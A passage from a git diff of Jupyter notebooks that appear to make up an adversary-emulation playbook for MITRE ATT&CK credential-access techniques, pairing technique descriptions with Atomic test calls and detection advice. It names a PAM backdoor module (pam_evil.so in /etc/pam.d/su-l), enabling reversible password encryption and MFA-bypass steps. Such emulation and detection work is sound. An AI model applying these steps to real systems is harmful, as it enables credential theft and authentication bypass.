PathToAtomicsFolder/T1556.003/src/pam_evil.c\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "932f4c03", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1556.003 -TestNumbers 3 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "c919700f", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -73,28 +108,28 @@ { "cell_type": "code", "execution_count": null, - "id": "18814249", + "id": "4514a3f1", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1556.003 -TestNumbers 2" + "source": "Invoke-AtomicTest T1556.003 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "7c8be7d4", + "id": "84d9c02f", "metadata": {}, "source": "#### Cleanup: \n```sh\nsudo sed -i \"\\,auth sufficient /tmp/pam_evil.so,d\" /etc/pam.d/su-l\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b8f5d182", + "id": "477b7c46", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1556.003 -TestNumbers 2 -Cleanup" + "source": "Invoke-AtomicTest T1556.003 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "96d7c6b2", + "id": "4a5ad19d", "metadata": {}, "source": "## Detection\nMonitor PAM configuration and module paths (ex: /etc/pam.d/) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.\n\nLook for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times (ex: when the user is not present) or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access)." } @@ -102,13 +137,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1556.004.ipynb b/playbook/tactics/credential-access/T1556.004.ipynb index fd3ad9b8..5704d585 100644 --- a/playbook/tactics/credential-access/T1556.004.ipynb +++ b/playbook/tactics/credential-access/T1556.004.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "1bb9d143", + "id": "000a6ba5", "metadata": {}, "source": "# T1556.004 - Network Device Authentication\nAdversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.\n\n[Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password. The modification includes a specific password which is implanted in the operating system image via the patch. Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: Mandiant - Synful Knock)" }, { "cell_type": "markdown", - "id": "0e696dc1", + "id": "66709ae3", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "a1189ffe", + "id": "ee8dbe23", "metadata": {}, "source": "## Detection\nConsider verifying the checksum of the operating system file and verifying the image of the operating system in memory.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)(Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)\n\nDetection of this behavior may be difficult, detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601)." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1556.005.ipynb b/playbook/tactics/credential-access/T1556.005.ipynb index 1a7bbcbd..4f47a76e 100644 --- a/playbook/tactics/credential-access/T1556.005.ipynb +++ b/playbook/tactics/credential-access/T1556.005.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "20011faa", + "id": "61d703cc", "metadata": {}, "source": "# T1556.005 - Reversible Encryption\nAn adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The AllowReversiblePasswordEncryption property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.(Citation: store_pwd_rev_enc)\n\nIf the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components:\n\n1. Encrypted password (G$RADIUSCHAP) from the Active Directory user-structure userParameters\n2. 16 byte randomly-generated value (G$RADIUSCHAPKEY) also from userParameters\n3. Global LSA secret (G$MSRADIUSCHAPKEY)\n4. Static key hardcoded in the Remote Access Subauthentication DLL (RASSFM.DLL)\n\nWith this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.(Citation: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2)\n\nAn adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory [PowerShell](https://attack.mitre.org/techniques/T1059/001) module. For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to \"Windows Server 2008\" or higher.(Citation: dump_pwd_dcsync) In PowerShell, an adversary may make associated changes to user settings using commands similar to Set-ADUser -AllowReversiblePasswordEncryption $true." }, { "cell_type": "markdown", - "id": "793c8144", + "id": "0bf54a12", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "720d913c", + "id": "d2ab08a7", "metadata": {}, "source": "## Detection\nMonitor property changes in Group Policy: Computer Configuration\\Windows Settings\\Security Settings\\Account Policies\\Password Policy\\Store passwords using reversible encryption. By default, the property should be set to Disabled.\n\nMonitor command-line usage for -AllowReversiblePasswordEncryption $true or other actions that could be related to malicious tampering of user settings (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)). Furthermore, consider monitoring and/or blocking suspicious execution of Active Directory PowerShell modules, such as Set-ADUser and Set-ADAccountControl, that change account configurations. \n\nMonitor Fine-Grained Password Policies and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync)" } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1556.006.ipynb b/playbook/tactics/credential-access/T1556.006.ipynb index 3cd9e9b1..9c376f7a 100644 --- a/playbook/tactics/credential-access/T1556.006.ipynb +++ b/playbook/tactics/credential-access/T1556.006.ipynb @@ -2,13 +2,13 @@ "cells": [ { "cell_type": "markdown", - "id": "3b39ba2f", + "id": "1ba9aa5a", "metadata": {}, "source": "# T1556.006 - Multi-Factor Authentication\nAdversaries may disable or modify multi-factor authentication (MFA) mechanisms to enable persistent access to compromised accounts.\n\nOnce adversaries have gained access to a network by either compromising an account lacking MFA or by employing an MFA bypass method such as [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621), adversaries may leverage their access to modify or completely disable MFA defenses. This can be accomplished by abusing legitimate features, such as excluding users from Azure AD Conditional Access Policies, registering a new yet vulnerable/adversary-controlled MFA method, or by manually patching MFA programs and configuration files to bypass expected functionality.(Citation: Mandiant APT42)(Citation: Azure AD Conditional Access Exclusions)\n\nFor example, modifying the Windows hosts file (`C:\\windows\\system32\\drivers\\etc\\hosts`) to redirect MFA calls to localhost instead of an MFA server may cause the MFA process to fail. If a \"fail open\" policy is in place, any otherwise successful authentication attempt may be granted access without enforcing MFA. (Citation: Russians Exploit Default MFA Protocol - CISA March 2022) \n\nDepending on the scope, goals, and privileges of the adversary, MFA defenses may be disabled for individual accounts or for all accounts tied to a larger group, such as all domain accounts in a victim's network environment.(Citation: Russians Exploit Default MFA Protocol - CISA March 2022) " }, { "cell_type": "markdown", - "id": "e9e1deaa", + "id": "f64dc316", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." } @@ -16,13 +16,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1556.007.ipynb b/playbook/tactics/credential-access/T1556.007.ipynb index b9096bad..6dcbfca8 100644 --- a/playbook/tactics/credential-access/T1556.007.ipynb +++ b/playbook/tactics/credential-access/T1556.007.ipynb @@ -2,13 +2,13 @@ "cells": [ { "cell_type": "markdown", - "id": "4a4527e3", + "id": "5ee8857b", "metadata": {}, "source": "# T1556.007 - Hybrid Identity\nAdversaries may patch, modify, or otherwise backdoor cloud authentication processes that are tied to on-premises user identities in order to bypass typical authentication mechanisms, access credentials, and enable persistent access to accounts. \n\nMany organizations maintain hybrid user and device identities that are shared between on-premises and cloud-based environments. These can be maintained in a number of ways. For example, Azure AD includes three options for synchronizing identities between Active Directory and Azure AD(Citation: Azure AD Hybrid Identity):\n\n* Password Hash Synchronization (PHS), in which a privileged on-premises account synchronizes user password hashes between Active Directory and Azure AD, allowing authentication to Azure AD to take place entirely in the cloud \n* Pass Through Authentication (PTA), in which Azure AD authentication attempts are forwarded to an on-premises PTA agent, which validates the credentials against Active Directory \n* Active Directory Federation Services (AD FS), in which a trust relationship is established between Active Directory and Azure AD \n\nAD FS can also be used with other SaaS and cloud platforms such as AWS and GCP, which will hand off the authentication process to AD FS and receive a token containing the hybrid users\u2019 identity and privileges. \n\nBy modifying authentication processes tied to hybrid identities, an adversary may be able to establish persistent privileged access to cloud resources. For example, adversaries who compromise an on-premises server running a PTA agent may inject a malicious DLL into the `AzureADConnectAuthenticationAgentService` process that authorizes all attempts to authenticate to Azure AD, as well as records user credentials.(Citation: Azure AD Connect for Read Teamers)(Citation: AADInternals Azure AD On-Prem to Cloud) In environments using AD FS, an adversary may edit the `Microsoft.IdentityServer.Servicehost` configuration file to load a malicious DLL that generates authentication tokens for any user with any set of claims, thereby bypassing multi-factor authentication and defined AD FS policies.(Citation: MagicWeb)\n\nIn some cases, adversaries may be able to modify the hybrid identity authentication process from the cloud. For example, adversaries who compromise a Global Administrator account in an Azure AD tenant may be able to register a new PTA agent via the web console, similarly allowing them to harvest credentials and log into the Azure AD environment as any user.(Citation: Mandiant Azure AD Backdoors)" }, { "cell_type": "markdown", - "id": "eeab0d3f", + "id": "8b65384c", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." } @@ -16,13 +16,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1556.008.ipynb b/playbook/tactics/credential-access/T1556.008.ipynb new file mode 100644 index 00000000..116db5ec --- /dev/null +++ b/playbook/tactics/credential-access/T1556.008.ipynb @@ -0,0 +1,32 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "32bc2790", + "metadata": {}, + "source": "# T1556.008 - Network Provider DLL\nAdversaries may register malicious network provider dynamic link libraries (DLLs) to capture cleartext user credentials during the authentication process. Network provider DLLs allow Windows to interface with specific network protocols and can also support add-on credential management functions.(Citation: Network Provider API) During the logon process, Winlogon (the interactive logon module) sends credentials to the local `mpnotify.exe` process via RPC. The `mpnotify.exe` process then shares the credentials in cleartext with registered credential managers when notifying that a logon event is happening.(Citation: NPPSPY - Huntress)(Citation: NPPSPY Video)(Citation: NPLogonNotify) \n\nAdversaries can configure a malicious network provider DLL to receive credentials from `mpnotify.exe`.(Citation: NPPSPY) Once installed as a credential manager (via the Registry), a malicious DLL can receive and save credentials each time a user logs onto a Windows workstation or domain via the `NPLogonNotify()` function.(Citation: NPLogonNotify)\n\nAdversaries may target planting malicious network provider DLLs on systems known to have increased logon activity and/or administrator logon activity, such as servers and domain controllers.(Citation: NPPSPY - Huntress)" + }, + { + "cell_type": "markdown", + "id": "983c0e00", + "metadata": {}, + "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." + } + ], + "metadata": { + "kernelspec": { + "display_name": ".NET (PowerShell)", + "language": "pwsh", + "name": ".net-powershell" + }, + "language_info": { + "file_extension": ".ps1", + "mimetype": "text/x-powershell", + "name": "pwsh", + "pygments_lexer": "powershell", + "version": "7.0" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} \ No newline at end of file diff --git a/playbook/tactics/credential-access/T1556.ipynb b/playbook/tactics/credential-access/T1556.ipynb index d5acf53a..ba60305a 100644 --- a/playbook/tactics/credential-access/T1556.ipynb +++ b/playbook/tactics/credential-access/T1556.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "5dd357e0", + "id": "6a1bb8ee", "metadata": {}, "source": "# T1556 - Modify Authentication Process\nAdversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078).\n\nAdversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop." }, { "cell_type": "markdown", - "id": "13147172", + "id": "5a793fa5", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "c973708e", + "id": "8c8b0e1b", "metadata": {}, "source": "## Detection\nMonitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages) and correlate then investigate the DLL files these files reference. \n\nPassword filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)\n\nMonitor for calls to OpenProcess that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton) \n\nMonitor PAM configuration and module paths (ex: /etc/pam.d/) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.\n\nMonitor for suspicious additions to the /Library/Security/SecurityAgentPlugins directory.(Citation: Xorrior Authorization Plugins)\n\nConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nMonitor property changes in Group Policy that manage authentication mechanisms (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)). The Store passwords using reversible encryption configuration should be set to Disabled. Additionally, monitor and/or block suspicious command/script execution of -AllowReversiblePasswordEncryption $true, Set-ADUser and Set-ADAccountControl. Finally, monitor Fine-Grained Password Policies and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync)\n" }, { "cell_type": "markdown", - "id": "1111fc57", + "id": "ffbb4dca", "metadata": {}, "source": "\n## Shield Active Defense\n### Security Controls \n Alter security controls to make the system more or less vulnerable to attack. \n\n Manipulating security controls involves making configuration changes to the security settings of a system including things like modifying Group Policies, disabling/enabling autorun for removable media, and tightening or relaxing system firewalls, etc.\n#### Opportunity\nThere is an opportunity to use security controls on systems in order to affect the success of an adversary.\n#### Use Case\nA defender could implement security controls to force an adversary to modify the authentication process if they want to collect or utilize credentials on a system.\n#### Procedures\nWeaken security controls on a system to allow for leaking of credentials via network connection poisoning.\nImplement policies on a system to prevent the insecure storage of passwords in the registry. This may force an adversary to revert these changes or find another way to access cached credentials.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1557.001.ipynb b/playbook/tactics/credential-access/T1557.001.ipynb index c15f6443..4883c5d3 100644 --- a/playbook/tactics/credential-access/T1557.001.ipynb +++ b/playbook/tactics/credential-access/T1557.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "29e01453", + "id": "4ecef0b0", "metadata": {}, "source": "# T1557.001 - LLMNR/NBT-NS Poisoning and SMB Relay\nBy responding to LLMNR/NBT-NS network traffic, adversaries may spoof an authoritative source for name resolution to force communication with an adversary controlled system. This activity may be used to collect or relay authentication materials. \n\nLink-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR)(Citation: TechNet NetBIOS)\n\nAdversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords.\n\nIn some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv1/v2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it.(Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay) Additionally, adversaries may encapsulate the NTLMv1/v2 hashes into various protocols, such as LDAP, SMB, MSSQL and HTTP, to expand and use multiple services with the valid NTLM response.\u00a0\n\nSeveral tools may be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174).(Citation: GitHub NBNSpoof)(Citation: Rapid7 LLMNR Spoofer)(Citation: GitHub Responder)" }, { "cell_type": "markdown", - "id": "7e274707", + "id": "2d367ad4", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "37dcaa87", + "id": "8ce9641a", "metadata": {}, "source": [ "### Atomic Test #1 - LLMNR Poisoning with Inveigh (PowerShell)", @@ -28,14 +28,14 @@ { "cell_type": "code", "execution_count": null, - "id": "ec5e8218", + "id": "5bbd5bde", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1557.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "cfdb3249", + "id": "05753d14", "metadata": {}, "source": "## Detection\nMonitor HKLM\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient for changes to the \"EnableMulticast\" DWORD value. A value of \u201c0\u201d indicates LLMNR is disabled. (Citation: Sternsecurity LLMNR-NBTNS)\n\nMonitor for traffic on ports UDP 5355 and UDP 137 if LLMNR/NetBIOS is disabled by security policy.\n\nDeploy an LLMNR/NBT-NS spoofing detection tool.(Citation: GitHub Conveigh) Monitoring of Windows event logs for event IDs 4697 and 7045 may help in detecting successful relay techniques.(Citation: Secure Ideas SMB Relay)" } @@ -43,13 +43,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1557.002.ipynb b/playbook/tactics/credential-access/T1557.002.ipynb index a77718ad..80d4afcb 100644 --- a/playbook/tactics/credential-access/T1557.002.ipynb +++ b/playbook/tactics/credential-access/T1557.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "6e6e6365", + "id": "f272ae5c", "metadata": {}, "source": "# T1557.002 - ARP Cache Poisoning\nAdversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\n\nThe ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address.(Citation: RFC826 ARP) Devices in a local network segment communicate with each other by using link layer addresses. If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address. The device with the associated IP address directly replies with its MAC address. The networked device that made the ARP request will then use as well as store that information in its ARP cache.\n\nAn adversary may passively wait for an ARP request to poison the ARP cache of the requesting device. The adversary may reply with their MAC address, thus deceiving the victim by making them believe that they are communicating with the intended networked device. For the adversary to poison the ARP cache, their reply must be faster than the one made by the legitimate IP address owner. Adversaries may also send a gratuitous ARP reply that maliciously announces the ownership of a particular IP address to all the devices in the local network segment.\n\nThe ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.(Citation: Sans ARP Spoofing Aug 2003)(Citation: Cylance Cleaver)\n\nAdversaries may use ARP cache poisoning as a means to intercept network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug 2003)\n" }, { "cell_type": "markdown", - "id": "742b39dc", + "id": "3445e7ea", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "a4fbec9f", + "id": "1175ff07", "metadata": {}, "source": "## Detection\nMonitor network traffic for unusual ARP traffic, gratuitous ARP replies may be suspicious. \n\nConsider collecting changes to ARP caches across endpoints for signs of ARP poisoning. For example, if multiple IP addresses map to a single MAC address, this could be an indicator that the ARP cache has been poisoned." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1557.003.ipynb b/playbook/tactics/credential-access/T1557.003.ipynb index 80303aac..64539e1f 100644 --- a/playbook/tactics/credential-access/T1557.003.ipynb +++ b/playbook/tactics/credential-access/T1557.003.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "fb93b5df", + "id": "a58f8215", "metadata": {}, "source": "# T1557.003 - DHCP Spoofing\nAdversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols. This may also enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\n\nDHCP is based on a client-server model and has two functionalities: a protocol for providing network configuration settings from a DHCP server to a client and a mechanism for allocating network addresses to clients.(Citation: rfc2131) The typical server-client interaction is as follows: \n\n1. The client broadcasts a `DISCOVER` message.\n\n2. The server responds with an `OFFER` message, which includes an available network address. \n\n3. The client broadcasts a `REQUEST` message, which includes the network address offered. \n\n4. The server acknowledges with an `ACK` message and the client receives the network configuration parameters.\n\nAdversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations. For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized computers.(Citation: new_rogue_DHCP_serv_malware)(Citation: w32.tidserv.g) Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network.\n\nDHCPv6 clients can receive network configuration information without being assigned an IP address by sending a INFORMATION-REQUEST (code 11) message to the All_DHCP_Relay_Agents_and_Servers multicast address.(Citation: rfc3315) Adversaries may use their rogue DHCP server to respond to this request message with malicious network configurations.\n\nRather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e, [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002)) by generating many broadcast DISCOVER messages to exhaust a network\u2019s DHCP allocation pool. " }, { "cell_type": "markdown", - "id": "86f9848e", + "id": "8baec334", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "9bde0c97", + "id": "f47c6eb0", "metadata": {}, "source": "## Detection\nMonitor network traffic for suspicious/malicious behavior involving DHCP, such as changes in DNS and/or gateway parameters. Additionally, monitor Windows logs for Event IDs (EIDs) 1341, 1342, 1020 and 1063, which specify that the IP allocations are low or have run out; these EIDs may indicate a denial of service attack.(Citation: dhcp_serv_op_events)(Citation: solution_monitor_dhcp_scopes)" } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1557.ipynb b/playbook/tactics/credential-access/T1557.ipynb index e465c2a6..836e6b4a 100644 --- a/playbook/tactics/credential-access/T1557.ipynb +++ b/playbook/tactics/credential-access/T1557.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "4fdd4ef0", + "id": "822e90d0", "metadata": {}, - "source": "# T1557 - Adversary-in-the-Middle\nAdversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)\n\nFor example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware.(Citation: ttint_rat)(Citation: dns_changer_trojans)(Citation: ad_blocker_with_miner) Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials and session cookies.(Citation: volexity_0day_sophos_FW) [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)s can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.(Citation: mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls)(Citation: tlseminar_downgrade_att)\n\nAdversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to [Impair Defenses](https://attack.mitre.org/techniques/T1562) and/or in support of a [Network Denial of Service](https://attack.mitre.org/techniques/T1498)." + "source": "# T1557 - Adversary-in-the-Middle\nAdversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002), or replay attacks ([Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212)). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)\n\nFor example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware.(Citation: ttint_rat)(Citation: dns_changer_trojans)(Citation: ad_blocker_with_miner) Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials and session cookies.(Citation: volexity_0day_sophos_FW) [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)s can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.(Citation: mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls)(Citation: tlseminar_downgrade_att)\n\nAdversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to [Impair Defenses](https://attack.mitre.org/techniques/T1562) and/or in support of a [Network Denial of Service](https://attack.mitre.org/techniques/T1498)." }, { "cell_type": "markdown", - "id": "b9fc67b2", + "id": "5ccf3317", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": 